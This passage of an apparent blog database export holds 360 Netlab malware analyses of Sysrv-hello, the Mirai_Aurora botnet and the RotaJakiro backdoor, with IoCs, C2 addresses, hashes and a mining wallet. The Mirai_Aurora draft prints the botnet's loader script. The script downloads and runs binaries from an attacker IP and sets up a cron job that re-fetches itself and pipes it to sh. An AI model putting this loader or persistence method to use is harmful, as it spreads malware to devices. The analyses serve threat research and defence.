[reports](https://www.virustotal.com/gui/file/a2f3ecd329d2713855257bf922b8a092cbb1193327ba197351804275286df7dd/detection) about them by other vendors.\n\n##Summary\nThrough the above analysis, it is easy to see that this update of Sysrv-hello is mainly to improve the propagation ability, besides making the compromised linux machine a mining host, by injecting malicious code into the webservers’ html pages, it could potentially infect visiting users on Windows platform.\nConsidering that sysrv has been going through several updates, we expect that there might be more actions coming. We will keep an eye on it.\n\n##Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), or email to netlab[at]360.cn.\n\n##IoC\n###MD5\n```\n833822feda97936d690ff6b983ad1a87 ldr.sh\n645647171d92e1fe289b63bbd2f2db86 a.py\n048aa5b804cde0768111c633e0faa028 BrowserUpdate.exe\na7013a2c7fd3a6168a7c0d9eed825c32 MODULEINSTALLER.EXE\n0c0195c48b6b8582fa6f6373032118da WINRING0X64.SYS\n```\n###URL\n```\nhttp://194.145.227.21/ldr.sh\nhttp://194.145.227.21/a.py\nhttp://194.145.227.21/BrowserUpdate.exe\nhttp://194.145.227.21/sys.i686\n```\n###miner pool and wallet\n```\npool: xmr-eu2.nanopool.org:14444\nwallet：41wSatLj9j4ZnwkBj2bEL59TdW7Fp8mmcUpKPyuB5XeBZNMxHND2MpK75w4q4mLtNmhQGVUnTdhh4XTffKFQ1Xz3Qk4hYoo\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 608a044e3819e500076338b1 |
post | null | 2021-05-02T09:01:29.000Z | 63873b9a8b1c1e0007f52fba | mirai_arora | 0 | 2021-12-29T02:49:55.000Z | public | draft | null | null | Mirai_Aurora攻击事件 | <!--kg-card-begin: markdown--><h1 id="">背景</h1>
<ul>
<li>
<p>2021年5月1日，我们蜜罐观察到针对socks5代理协议的流量暴涨平日的5倍之多。经过初步分析这些代理请求的目标地址都是<code>msfepgww33xrdpvwbkshqoyvx5kwtqmc6u7ify6l3t66ggrehjcfycid.onion:12028</code>, 进一步分析发现这个域名是Mirai_Aurora(DDoS僵尸网络)这个僵尸网络的CC。至此可以说明这些暴涨的socks5流量都是来自这个僵尸网络的的bot。因此我们看到的这些针对socks5代理请求的源IP就是Bot的真实IP。</p>
</li>
<li>
<p>通过找蜜罐和Fdark数据，我们找到了<code>msfepgww33xrdpvwbkshqoyvx5kwtqmc6u7ify6l3t66ggrehjcfycid.onion:12028</code> 这个cc对应的样本<code>255b4f37ebe768216eed1309a3a7d574</code>, 并从样本中确认我们的蜜罐IP确实被硬编码到样本中作为他的代理用来和CC通信。也正是这个原因让我们从蜜罐的角度看到了这个botnet背后的一部分bot规模。</p>
</li>
<li>
<p>经过初步分析，可以确定这些Bot IP对应的设备绝大部分都是<a href="https://www.secom.com.tw/products/products_01.aspx?id=2016110001">台湾中保無限的路由设备</a>。目前我们尚不清楚这个botnet是以何种方式感染这些设备的。另外通过Bot发给CC的Bot分组信息也可以确定大部分设备都在台湾。Bot分组信息如下：</p>
</li>
</ul>
<pre><code> 132897 taiwan
3925
2484 dogs
1593 mips
994 powder
309 korea
214 balloon
160 telnet
129 totolink
122 arm7
94 adb_server
6 android
1 test
</code></pre>
<h1 id="">感染情况</h1>
<p>截止到写稿日，我们看到总的被染源IP数量为<code>14</code>万，目前看这个数量还在持续上涨中。95%的被感染IP都在台湾地区。被感染设备主要为台湾中保無限的路由设备，设备http指纹特征为<code>server=="lighttpd/1.4.25-devel-v2.2.24-45-gc66fb0e4" && title=="後台登入-中保無限路由器"</code>。被感染趋势如下：<br>
<img src="__GHOST_URL__/content/images/2021/05/Snip20210502_1.png" alt="Snip20210502_1" loading="lazy"></p>
<p>主要地区分布如下：<br>
<img src="__GHOST_URL__/content/images/2021/05/Snip20210502_7.png" alt="Snip20210502_7" loading="lazy"></p>
<p>ASN分布如下：<br>
<img src="__GHOST_URL__/content/images/2021/05/Snip20210502_10.png" alt="Snip20210502_10" loading="lazy"></p>
<h1 id="aurorabotnet">关于Aurora Botnet</h1>
<p>Aurora僵尸网络是在Mirai源代码上修改而来，因此我们将它命名为Mirai_Aurora，主要功能为DDoS攻击。它是在2021年1月份进入我们的视野，随后一直处于比较活跃的状态。2021年5月1日，我们发现Aurora重写了网络通信过程，开始使用<code>Tor Proxy + Tor C2</code>的模式。因为其硬编码的Tor Proxy列表中，有一部分是我们的蜜罐IP，使得我们从C2的视角看到了它这次急速扩张的过程。</p>
<p>Aurora这次活动的Downloader IP为<code>45.61.139.84</code>，上面有这次活动以及历史版本的各个CPU架构Aurora样本，以X86_64为例，我们可以看到<code>45.61.139.84/x86_64</code>所对应的<strong>New Version</strong>样本在短短的1天之内变化了4次。</p>
<img src="__GHOST_URL__/content/images/2021/05/aurora_cmp.png" width="860px" />
<p>其实这4个不同MD5的Bot样本只有一处变化，即Tor Proxy数量。</p>
<table>
<thead>
<tr>
<th>MD5</th>
<th>Tor proxy count</th>
</tr>
</thead>
<tbody>
<tr>
<td>516b72b6624e61830dc08fd1399d5525</td>
<td>34</td>
</tr>
<tr>
<td>0235c317901650bbbd5f7fdb2fd4b001</td>
<td>61</td>
</tr>
<tr>
<td>fe77c563647107c871a4fc07538aa008</td>
<td>10</td>
</tr>
<tr>
<td>fa1e3ccf4416563e2989e607f865b2de</td>
<td>140</td>
</tr>
<tr>
<td>据统计，我们的蜜罐IP占其中60%左右，所以真实的被感染设备规模应该是现在我们看到的规模的一倍左右。</td>
<td></td>
</tr>
</tbody>
</table>
<p>值得一提的是<strong>Old Version</strong>样本使用的C2是<code>dns.cyberium.cc</code>,而cyberium.cc中大量的2级域是Moobot的C2。因此我们推断Aurora属于Moobot团伙。</p>
<h1 id="todo">TODO</h1>
<ul>
<li>尚不清楚是如何感染目标设备的</li>
<li>VT找到了台湾那些设备的入口脚本 <code>Last-Modified: Sun, 02 May 2021 21:25:26 GMT</code></li>
</ul>
<pre><code>$ curl -ik http://45.61.136.142/script/gem
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 06 May 2021 07:10:22 GMT
Content-Type: application/octet-stream
Content-Length: 304
Last-Modified: Sun, 02 May 2021 21:25:26 GMT
Connection: keep-alive
ETag: "608f18c6-130"
Accept-Ranges: bytes
#!/bin/sh
n="arm arm5 arm4 arm6 arm7 m68k mips mipsel sparc sh4 x86_64"
http_server="45.61.136.142"
cd /dev
for a in $n
do
rm -rf $a
wget http://$http_server/$a -O -> $a
chmod 777 $a
./$a taiwan
done
crontab -r
echo '* * * * * wget http://45.61.136.142/script/gem -O-|sh' | crontab -
rm -rf $0
</code></pre>
<ul>
<li>新样本修改了上线包格式</li>
</ul>
<pre><code>00000000: 13 11 18 19 12 64 65 62 75 67 2E 73 68 65 6C 6C .....debug.shell
00000010: 2E 78 38 36 5F 36 34 .x86_64
</code></pre>
<h1 id="ioc">IoC</h1>
<h3 id="loaderip">Loader IP</h3>
<pre><code>45.148.10.50 AS48090|Pptechnology_Limited Netherlands|North_Holland|Wormer
</code></pre>
<h3 id="samplemd5">Sample MD5</h3>
<pre><code>255b4f37ebe768216eed1309a3a7d574
</code></pre>
<h3 id="cc">CC</h3>
<pre><code>msfepgww33xrdpvwbkshqoyvx5kwtqmc6u7ify6l3t66ggrehjcfycid.onion:12028
</code></pre>
<!--kg-card-end: markdown--> | 背景
*
2021年5月1日，我们蜜罐观察到针对socks5代理协议的流量暴涨平日的5倍之多。经过初步分析这些代理请求的目标地址都是msfepgww33xrdpvwbkshqoyvx5kwtqmc6u7ify6l3t66ggrehjcfycid.onion:12028, 进一步分析发现这个域名是Mirai_Aurora(DDoS僵尸网络)这个僵尸网络的CC。至此可以说明这些暴涨的socks5流量都是来自这个僵尸网络的的bot。因此我们看到的这些针对socks5代理请求的源IP就是Bot的真实IP。
*
通过找蜜罐和Fdark数据，我们找到了msfepgww33xrdpvwbkshqoyvx5kwtqmc6u7ify6l3t66ggrehjcfycid.onion:12028 这个cc对应的样本255b4f37ebe768216eed1309a3a7d574, 并从样本中确认我们的蜜罐IP确实被硬编码到样本中作为他的代理用来和CC通信。也正是这个原因让我们从蜜罐的角度看到了这个botnet背后的一部分bot规模。
*
经过初步分析，可以确定这些Bot IP对应的设备绝大部分都是台湾中保無限的路由设备。目前我们尚不清楚这个botnet是以何种方式感染这些设备的。另外通过Bot发给CC的Bot分组信息也可以确定大部分设备都在台湾。Bot分组信息如下：
132897 taiwan
3925
2484 dogs
1593 mips
994 powder
309 korea
214 balloon
160 telnet
129 totolink
122 arm7
94 adb_server
6 android
1 test
感染情况
截止到写稿日，我们看到总的被染源IP数量为14万，目前看这个数量还在持续上涨中。95%的被感染IP都在台湾地区。被感染设备主要为台湾中保無限的路由设备，设备http指纹特征为server=="lighttpd/1.4.25-devel-v2.2.24-45-gc66fb0e4" && title=="後台登入-中保無限路由器"。被感染趋势如下：
主要地区分布如下：
ASN分布如下：
关于Aurora Botnet
Aurora僵尸网络是在Mirai源代码上修改而来，因此我们将它命名为Mirai_Aurora，主要功能为DDoS攻击。它是在2021年1月份进入我们的视野，随后一直处于比较活跃的状态。2021年5月1日，我们发现Aurora重写了网络通信过程，开始使用Tor Proxy + Tor C2的模式。因为其硬编码的Tor Proxy列表中，有一部分是我们的蜜罐IP，使得我们从C2的视角看到了它这次急速扩张的过程。
Aurora这次活动的Downloader IP为45.61.139.84，上面有这次活动以及历史版本的各个CPU架构Aurora样本，以X86_64为例，我们可以看到45.61.139.84/x86_64所对应的New Version样本在短短的1天之内变化了4次。
其实这4个不同MD5的Bot样本只有一处变化，即Tor Proxy数量。
MD5
Tor proxy count
516b72b6624e61830dc08fd1399d5525
34
0235c317901650bbbd5f7fdb2fd4b001
61
fe77c563647107c871a4fc07538aa008
10
fa1e3ccf4416563e2989e607f865b2de
140
据统计，我们的蜜罐IP占其中60%左右，所以真实的被感染设备规模应该是现在我们看到的规模的一倍左右。
值得一提的是Old Version样本使用的C2是dns.cyberium.cc,而cyberium.cc中大量的2级域是Moobot的C2。因此我们推断Aurora属于Moobot团伙。
TODO
* 尚不清楚是如何感染目标设备的
* VT找到了台湾那些设备的入口脚本 Last-Modified: Sun, 02 May 2021 21:25:26 GMT
$ curl -ik http://45.61.136.142/script/gem
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 06 May 2021 07:10:22 GMT
Content-Type: application/octet-stream
Content-Length: 304
Last-Modified: Sun, 02 May 2021 21:25:26 GMT
Connection: keep-alive
ETag: "608f18c6-130"
Accept-Ranges: bytes
#!/bin/sh
n="arm arm5 arm4 arm6 arm7 m68k mips mipsel sparc sh4 x86_64"
http_server="45.61.136.142"
cd /dev
for a in $n
do
rm -rf $a
wget http://$http_server/$a -O -> $a
chmod 777 $a
./$a taiwan
done
crontab -r
echo '* * * * * wget http://45.61.136.142/script/gem -O-|sh' | crontab -
rm -rf $0
* 新样本修改了上线包格式
00000000: 13 11 18 19 12 64 65 62 75 67 2E 73 68 65 6C 6C .....debug.shell
00000010: 2E 78 38 36 5F 36 34 .x86_64
IoC
Loader IP
45.148.10.50 AS48090|Pptechnology_Limited Netherlands|North_Holland|Wormer
Sample MD5
255b4f37ebe768216eed1309a3a7d574
CC
msfepgww33xrdpvwbkshqoyvx5kwtqmc6u7ify6l3t66ggrehjcfycid.onion:12028
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 背景\n- 2021年5月1日，我们蜜罐观察到针对socks5代理协议的流量暴涨平日的5倍之多。经过初步分析这些代理请求的目标地址都是`msfepgww33xrdpvwbkshqoyvx5kwtqmc6u7ify6l3t66ggrehjcfycid.onion:12028`, 进一步分析发现这个域名是Mirai_Aurora(DDoS僵尸网络)这个僵尸网络的CC。至此可以说明这些暴涨的socks5流量都是来自这个僵尸网络的的bot。因此我们看到的这些针对socks5代理请求的源IP就是Bot的真实IP。\n\n- 通过找蜜罐和Fdark数据，我们找到了`msfepgww33xrdpvwbkshqoyvx5kwtqmc6u7ify6l3t66ggrehjcfycid.onion:12028` 这个cc对应的样本`255b4f37ebe768216eed1309a3a7d574`, 并从样本中确认我们的蜜罐IP确实被硬编码到样本中作为他的代理用来和CC通信。也正是这个原因让我们从蜜罐的角度看到了这个botnet背后的一部分bot规模。\n\n- 经过初步分析，可以确定这些Bot IP对应的设备绝大部分都是[台湾中保無限的路由设备](https://www.secom.com.tw/products/products_01.aspx?id=2016110001)。目前我们尚不清楚这个botnet是以何种方式感染这些设备的。另外通过Bot发给CC的Bot分组信息也可以确定大部分设备都在台湾。Bot分组信息如下：\n```\n 132897 taiwan\n 3925 \n 2484 dogs\n 1593 mips\n 994 powder\n 309 korea\n 214 balloon\n 160 telnet\n 129 totolink\n 122 arm7\n 94 adb_server\n 6 android\n 1 test\n```\n\n# 感染情况\n截止到写稿日，我们看到总的被染源IP数量为`14`万，目前看这个数量还在持续上涨中。95%的被感染IP都在台湾地区。被感染设备主要为台湾中保無限的路由设备，设备http指纹特征为`server==\"lighttpd/1.4.25-devel-v2.2.24-45-gc66fb0e4\" && title==\"後台登入-中保無限路由器\"`。被感染趋势如下：\n\n\n主要地区分布如下：\n\n\nASN分布如下：\n\n\n# 关于Aurora Botnet\nAurora僵尸网络是在Mirai源代码上修改而来，因此我们将它命名为Mirai_Aurora，主要功能为DDoS攻击。它是在2021年1月份进入我们的视野，随后一直处于比较活跃的状态。2021年5月1日，我们发现Aurora重写了网络通信过程，开始使用```Tor Proxy + Tor C2```的模式。因为其硬编码的Tor Proxy列表中，有一部分是我们的蜜罐IP，使得我们从C2的视角看到了它这次急速扩张的过程。\n\nAurora这次活动的Downloader IP为```45.61.139.84```，上面有这次活动以及历史版本的各个CPU架构Aurora样本，以X86_64为例，我们可以看到```45.61.139.84/x86_64```所对应的**New Version**样本在短短的1天之内变化了4次。\n\n<img src=\"__GHOST_URL__/content/images/2021/05/aurora_cmp.png\" width=\"860px\" />\n\n其实这4个不同MD5的Bot样本只有一处变化，即Tor Proxy数量。\n| MD5 | Tor proxy count |\n| -------------------------------- | --------------- |\n| 516b72b6624e61830dc08fd1399d5525 | 34 |\n| 0235c317901650bbbd5f7fdb2fd4b001 | 61 |\n| fe77c563647107c871a4fc07538aa008 | 10 |\n| fa1e3ccf4416563e2989e607f865b2de | 140 |\n据统计，我们的蜜罐IP占其中60%左右，所以真实的被感染设备规模应该是现在我们看到的规模的一倍左右。\n\n值得一提的是**Old Version**样本使用的C2是```dns.cyberium.cc```,而cyberium.cc中大量的2级域是Moobot的C2。因此我们推断Aurora属于Moobot团伙。\n# TODO\n- 尚不清楚是如何感染目标设备的\n- VT找到了台湾那些设备的入口脚本 `Last-Modified: Sun, 02 May 2021 21:25:26 GMT`\n```\n$ curl -ik http://45.61.136.142/script/gem\nHTTP/1.1 200 OK\nServer: nginx/1.18.0 (Ubuntu)\nDate: Thu, 06 May 2021 07:10:22 GMT\nContent-Type: application/octet-stream\nContent-Length: 304\nLast-Modified: Sun, 02 May 2021 21:25:26 GMT\nConnection: keep-alive\nETag: \"608f18c6-130\"\nAccept-Ranges: bytes\n\n#!/bin/sh\nn=\"arm arm5 arm4 arm6 arm7 m68k mips mipsel sparc sh4 x86_64\"\nhttp_server=\"45.61.136.142\"\n\ncd /dev\n\nfor a in $n\ndo\n\trm -rf $a\n\n\twget http://$http_server/$a -O -> $a\n\tchmod 777 $a\n\t./$a taiwan\ndone\n\ncrontab -r\n\necho '* * * * * wget http://45.61.136.142/script/gem -O-|sh' | crontab -\n\nrm -rf $0\n```\n\n- 新样本修改了上线包格式\n```\n00000000: 13 11 18 19 12 64 65 62 75 67 2E 73 68 65 6C 6C .....debug.shell\n00000010: 2E 78 38 36 5F 36 34 .x86_64\n```\n# IoC\n### Loader IP\n```\n45.148.10.50\t AS48090|Pptechnology_Limited\tNetherlands|North_Holland|Wormer\n```\n\n### Sample MD5\n```\n255b4f37ebe768216eed1309a3a7d574\n```\n\n### CC\n```\nmsfepgww33xrdpvwbkshqoyvx5kwtqmc6u7ify6l3t66ggrehjcfycid.onion:12028\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 608e6a693819e50007633910 |
post | null | 2021-05-05T08:18:28.000Z | 63873b9a8b1c1e0007f52fbb | rotajakiro_vs_oceanlotus_cn | 0 | 2021-05-06T13:29:13.000Z | public | published | null | 2021-05-06T13:29:13.000Z | “双头龙”源自海莲花组织？ | <!--kg-card-begin: markdown--><p>我们的<a href="__GHOST_URL__/stealth_rotajakiro_backdoor_cn/"><strong>双头龙</strong></a>blog发布后引起了较大反响，除了媒体转载，一些安全同行还纷纷在我们blog下面留言和提问，其中5月4号的一则留言提到双头龙跟海莲花（OceanLotus）样本的C2行为有联系：<br>
<img src="__GHOST_URL__/content/images/2021/05/--.png" width="860px" /><br>
留言所提到的<a href="https://www.virustotal.com/gui/file/b33370167853330704945684c50ce0af6eb27838e1e3f88ea457d2c88a223d8b/detection">样本</a>为一个zip打包文件，2016年就已出现。该zip可以解压出多个文件，那个名为<code>Noi dung chi tiet</code>（对应中文<code>详细信息</code>）的Mach-O格式可执行文件即是海莲花样本。对比分析显示该样本确实与双头龙样本存在多个相似之处，所以它们或许可以解开双头龙的身世之谜：它极可能是海莲花的Linux版本。本文主要从2进制代码层面介绍这些相似点。</p>
<h2 id="1c2">相似点1：C2会话建立函数</h2>
<p>Linux常见的域名解析函数为gethostbyname()，但双头龙使用了相对小众的getaddrinfo()函数，C2域名的解析和会话建立都在一个函数中完成，而海莲花样本中也存在一个模式类似的相同功能的函数，2者的函数对比如下：</p>
<img src="__GHOST_URL__/content/images/2021/05/init_c2_session_comparison.png" width="860px" />
能看出来它们不但功能相同，对sprintf()和getaddrinfo()的使用方式也几乎一模一样。此外，双头龙和海莲花都使用了单独的数据结构来保存C2会话信息，比如socket fd, 是否active, timeout等，而且它们的数据结构也很相似。
<img src="__GHOST_URL__/content/images/2021/05/c2confcmp.png" width="860px" />
<p>这些相似性是是2者存在关联的第一个证据。</p>
<h2 id="2">相似点2：上线包构造手法</h2>
<p>双头龙和海莲花的网络数据包都是由<code>Head,Key,Payload</code>三部分组成，其中Head是必须的，长度为82字节，而Key和Payload则是可选的。Head中的关键字段包括：</p>
<ul>
<li>偏移1，DWORD类型，存放一个magic；</li>
<li>偏移9，DWORD类型，存放Payload长度；</li>
<li>偏移13，WORD类型，存放Key长度；</li>
<li>偏移15，DWORD类型，存放消息码。</li>
</ul>
<p>双头龙通过一个单独的函数初始化上线包的Head：<br>
<img src="__GHOST_URL__/content/images/2021/05/register_init_rota-1.png" alt="register_init_rota-1" loading="lazy"><br>
这个函数先调用malloc()函数为上线包动态分配内存，接下来依次调用time()/srand()/rand()函数生成一个随机字符然后赋给上线包的第一个字段，剩下的大片代码就是用多个常量对其余字段逐一赋值，所以该函数最明显的特点就是用多个常量初始化上线包。</p>
<p>海莲花样本中也存在1个专门初始化上线包Head的函数：<br>
<img src="__GHOST_URL__/content/images/2021/05/register_init_ocean.png" alt="register_init_ocean" loading="lazy"><br>
该函数没有内存分配和随机生成字符的代码，整个函数都是用多个常量逐一赋值上线包的具体字段，这一点跟双头龙一模一样。此外，在1、24和75这三个偏移处海莲花跟双头龙共享了同样的字段值，尤其是偏移为1处的magic都为<code>0x3B91011</code>，这很难用巧合来形容，所以大大增加了这两段代码同源的概率。</p>
<p>另外，双头龙和海莲花都为上线包分配了消息码，并且都是0x2170272：<br>
<img src="__GHOST_URL__/content/images/2021/05/regpkgcmp.png" width="860px" /></p>
<p>最终产生的上线包也非常相似，双头龙上线包如下：<br>
<img src="__GHOST_URL__/content/images/2021/05/regcmp_rota.png" width="724px" /><br>
下面是<a href="https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"><code>PAN</code></a>2017年分析出的海莲花上线包：<br>
<img src="__GHOST_URL__/content/images/2021/05/regcmp_ocean.png" alt="regcmp_ocean" loading="lazy"></p>
<p>双头龙解密后的上线包如下所示：<br>
<img src="__GHOST_URL__/content/images/2021/05/pkgcmd_rota.png" width="834px" /><br>
下面是<a href="https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/">PAN</a>分析报告里的海莲花明文上线包：<br>
<img src="__GHOST_URL__/content/images/2021/05/pkgcmp_ocean.png" alt="pkgcmp_ocean" loading="lazy"><br>
可以看到它们的明文结构一样，关键字段值基本相同。</p>
<h2 id="3rotate">相似点3：均存在rotate函数</h2>
<p>双头龙和海莲花都存在一个我们称之为“rotate()”的函数，用于加/解密，双头龙的rotate函数如下：<br>
<img src="__GHOST_URL__/content/images/2021/05/rotate_rota.png" alt="rotate_rota" loading="lazy"></p>
<p>海莲花版本：<br>
<img src="__GHOST_URL__/content/images/2021/05/rotate_ocea.png" alt="rotate_ocea" loading="lazy"></p>
<p>两相对比不难发现它们的共同点：</p>
<ol>
<li>均接受3个参数。</li>
<li>原型相同，其中第1参数为实际的rotate对象，第2个参数为长度字段，第3个参数起控制作用。</li>
</ol>
<p>在实际使用中，例如在加密上线包的过程中，可以看到，双头龙和海莲花使用了一样的参数。<br>
<img src="__GHOST_URL__/content/images/2021/05/rotatecmp.png" width="860px" /></p>
<h2 id="4">相似点4：相同的指令码</h2>
<p>双头龙和海莲花都用<code>DWORD类型的指令码</code>来指定消息的功能，并且共享了多个语义相同的指令码，部分有特色的指令如下表所示：</p>
<table>
<thead>
<tr>
<th>Cmd</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x18320e0</td>
<td>Upload device Info</td>
</tr>
<tr>
<td>0x2170272</td>
<td>Register</td>
</tr>
<tr>
<td>0x1B25503</td>
<td>execute function from a plugin(a aynamic library)</td>
</tr>
<tr>
<td>0x1532e65</td>
<td>execute function from a plugin(a aynamic library)</td>
</tr>
<tr>
<td>0x25D5082</td>
<td>execute function from a plugin(a aynamic library)</td>
</tr>
<tr>
<td>这种相似显然不能用巧合来解释了，这是它们代码同源的极强证据。</td>
<td></td>
</tr>
</tbody>
</table>
<h2 id="">总结</h2>
<p>双头龙与MAC版的海莲花木马虽然是用不同语言实现的，但是它们在<strong>功能和消息格式设计上的相似，在具体实现上的雷同</strong>，已经不能用巧合来解释了。从目前的线索来看，双头龙极大可能是由海莲化组织开发的Linux后门木马，很可能就是Linux版本的海莲花。</p>
<p>感谢社区提供的各种线索，让我们一起<code>Make Cyber Security Great Again</code>。</p>
<h2 id="">引用</h2>
<p><a href="https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/">https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/</a></p>
<!--kg-card-end: markdown--> | 我们的双头龙blog发布后引起了较大反响，除了媒体转载，一些安全同行还纷纷在我们blog下面留言和提问，其中5月4号的一则留言提到双头龙跟海莲花（OceanLotus）样本的C2行为有联系：
留言所提到的样本为一个zip打包文件，2016年就已出现。该zip可以解压出多个文件，那个名为Noi dung chi tiet（对应中文详细信息）的Mach-O格式可执行文件即是海莲花样本。对比分析显示该样本确实与双头龙样本存在多个相似之处，所以它们或许可以解开双头龙的身世之谜：它极可能是海莲花的Linux版本。本文主要从2进制代码层面介绍这些相似点。
相似点1：C2会话建立函数
Linux常见的域名解析函数为gethostbyname()，但双头龙使用了相对小众的getaddrinfo()函数，C2域名的解析和会话建立都在一个函数中完成，而海莲花样本中也存在一个模式类似的相同功能的函数，2者的函数对比如下：
能看出来它们不但功能相同，对sprintf()和getaddrinfo()的使用方式也几乎一模一样。此外，双头龙和海莲花都使用了单独的数据结构来保存C2会话信息，比如socket fd, 是否active, timeout等，而且它们的数据结构也很相似。
这些相似性是是2者存在关联的第一个证据。
相似点2：上线包构造手法
双头龙和海莲花的网络数据包都是由Head,Key,Payload三部分组成，其中Head是必须的，长度为82字节，而Key和Payload则是可选的。Head中的关键字段包括：
* 偏移1，DWORD类型，存放一个magic；
* 偏移9，DWORD类型，存放Payload长度；
* 偏移13，WORD类型，存放Key长度；
* 偏移15，DWORD类型，存放消息码。
双头龙通过一个单独的函数初始化上线包的Head：
这个函数先调用malloc()函数为上线包动态分配内存，接下来依次调用time()/srand()/rand()函数生成一个随机字符然后赋给上线包的第一个字段，剩下的大片代码就是用多个常量对其余字段逐一赋值，所以该函数最明显的特点就是用多个常量初始化上线包。
海莲花样本中也存在1个专门初始化上线包Head的函数：
该函数没有内存分配和随机生成字符的代码，整个函数都是用多个常量逐一赋值上线包的具体字段，这一点跟双头龙一模一样。此外，在1、24和75这三个偏移处海莲花跟双头龙共享了同样的字段值，尤其是偏移为1处的magic都为0x3B91011，这很难用巧合来形容，所以大大增加了这两段代码同源的概率。
另外，双头龙和海莲花都为上线包分配了消息码，并且都是0x2170272：
最终产生的上线包也非常相似，双头龙上线包如下：
下面是PAN2017年分析出的海莲花上线包：
双头龙解密后的上线包如下所示：
下面是PAN分析报告里的海莲花明文上线包：
可以看到它们的明文结构一样，关键字段值基本相同。
相似点3：均存在rotate函数
双头龙和海莲花都存在一个我们称之为“rotate()”的函数，用于加/解密，双头龙的rotate函数如下：
海莲花版本：
两相对比不难发现它们的共同点：
1. 均接受3个参数。
2. 原型相同，其中第1参数为实际的rotate对象，第2个参数为长度字段，第3个参数起控制作用。
在实际使用中，例如在加密上线包的过程中，可以看到，双头龙和海莲花使用了一样的参数。
相似点4：相同的指令码
双头龙和海莲花都用DWORD类型的指令码来指定消息的功能，并且共享了多个语义相同的指令码，部分有特色的指令如下表所示：
Cmd
Function
0x18320e0
Upload device Info
0x2170272
Register
0x1B25503
execute function from a plugin(a aynamic library)
0x1532e65
execute function from a plugin(a aynamic library)
0x25D5082
execute function from a plugin(a aynamic library)
这种相似显然不能用巧合来解释了，这是它们代码同源的极强证据。
总结
双头龙与MAC版的海莲花木马虽然是用不同语言实现的，但是它们在功能和消息格式设计上的相似，在具体实现上的雷同，已经不能用巧合来解释了。从目前的线索来看，双头龙极大可能是由海莲化组织开发的Linux后门木马，很可能就是Linux版本的海莲花。
感谢社区提供的各种线索，让我们一起Make Cyber Security Great Again。
引用
https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"我们的[**双头龙**](__GHOST_URL__/stealth_rotajakiro_backdoor_cn/)blog发布后引起了较大反响，除了媒体转载，一些安全同行还纷纷在我们blog下面留言和提问，其中5月4号的一则留言提到双头龙跟海莲花（OceanLotus）样本的C2行为有联系：\n<img src=\"__GHOST_URL__/content/images/2021/05/--.png\" width=\"860px\" />\n留言所提到的[样本](https://www.virustotal.com/gui/file/b33370167853330704945684c50ce0af6eb27838e1e3f88ea457d2c88a223d8b/detection)为一个zip打包文件，2016年就已出现。该zip可以解压出多个文件，那个名为```Noi dung chi tiet```（对应中文```详细信息```）的Mach-O格式可执行文件即是海莲花样本。对比分析显示该样本确实与双头龙样本存在多个相似之处，所以它们或许可以解开双头龙的身世之谜：它极可能是海莲花的Linux版本。本文主要从2进制代码层面介绍这些相似点。\n\n## 相似点1：C2会话建立函数\n\nLinux常见的域名解析函数为gethostbyname()，但双头龙使用了相对小众的getaddrinfo()函数，C2域名的解析和会话建立都在一个函数中完成，而海莲花样本中也存在一个模式类似的相同功能的函数，2者的函数对比如下：\n\n<img src=\"__GHOST_URL__/content/images/2021/05/init_c2_session_comparison.png\" width=\"860px\" />\n能看出来它们不但功能相同，对sprintf()和getaddrinfo()的使用方式也几乎一模一样。此外，双头龙和海莲花都使用了单独的数据结构来保存C2会话信息，比如socket fd, 是否active, timeout等，而且它们的数据结构也很相似。\n<img src=\"__GHOST_URL__/content/images/2021/05/c2confcmp.png\" width=\"860px\" />\n\n这些相似性是是2者存在关联的第一个证据。\n\n\n\n## 相似点2：上线包构造手法\n双头龙和海莲花的网络数据包都是由```Head,Key,Payload```三部分组成，其中Head是必须的，长度为82字节，而Key和Payload则是可选的。Head中的关键字段包括：\n- 偏移1，DWORD类型，存放一个magic；\n- 偏移9，DWORD类型，存放Payload长度；\n- 偏移13，WORD类型，存放Key长度；\n- 偏移15，DWORD类型，存放消息码。\n\n双头龙通过一个单独的函数初始化上线包的Head：\n\n这个函数先调用malloc()函数为上线包动态分配内存，接下来依次调用time()/srand()/rand()函数生成一个随机字符然后赋给上线包的第一个字段，剩下的大片代码就是用多个常量对其余字段逐一赋值，所以该函数最明显的特点就是用多个常量初始化上线包。\n\n海莲花样本中也存在1个专门初始化上线包Head的函数：\n\n该函数没有内存分配和随机生成字符的代码，整个函数都是用多个常量逐一赋值上线包的具体字段，这一点跟双头龙一模一样。此外，在1、24和75这三个偏移处海莲花跟双头龙共享了同样的字段值，尤其是偏移为1处的magic都为```0x3B91011```，这很难用巧合来形容，所以大大增加了这两段代码同源的概率。\n\n另外，双头龙和海莲花都为上线包分配了消息码，并且都是0x2170272：\n<img src=\"__GHOST_URL__/content/images/2021/05/regpkgcmp.png\" width=\"860px\" />\n\n最终产生的上线包也非常相似，双头龙上线包如下：\n<img src=\"__GHOST_URL__/content/images/2021/05/regcmp_rota.png\" width=\"724px\" />\n下面是[```PAN```](https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/)2017年分析出的海莲花上线包：\n\n\n双头龙解密后的上线包如下所示：\n<img src=\"__GHOST_URL__/content/images/2021/05/pkgcmd_rota.png\" width=\"834px\" />\n下面是[PAN](https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/)分析报告里的海莲花明文上线包：\n\n可以看到它们的明文结构一样，关键字段值基本相同。\n\n## 相似点3：均存在rotate函数\n双头龙和海莲花都存在一个我们称之为“rotate()”的函数，用于加/解密，双头龙的rotate函数如下：\n\n\n海莲花版本：\n\n\n两相对比不难发现它们的共同点：\n1. 均接受3个参数。\n2. 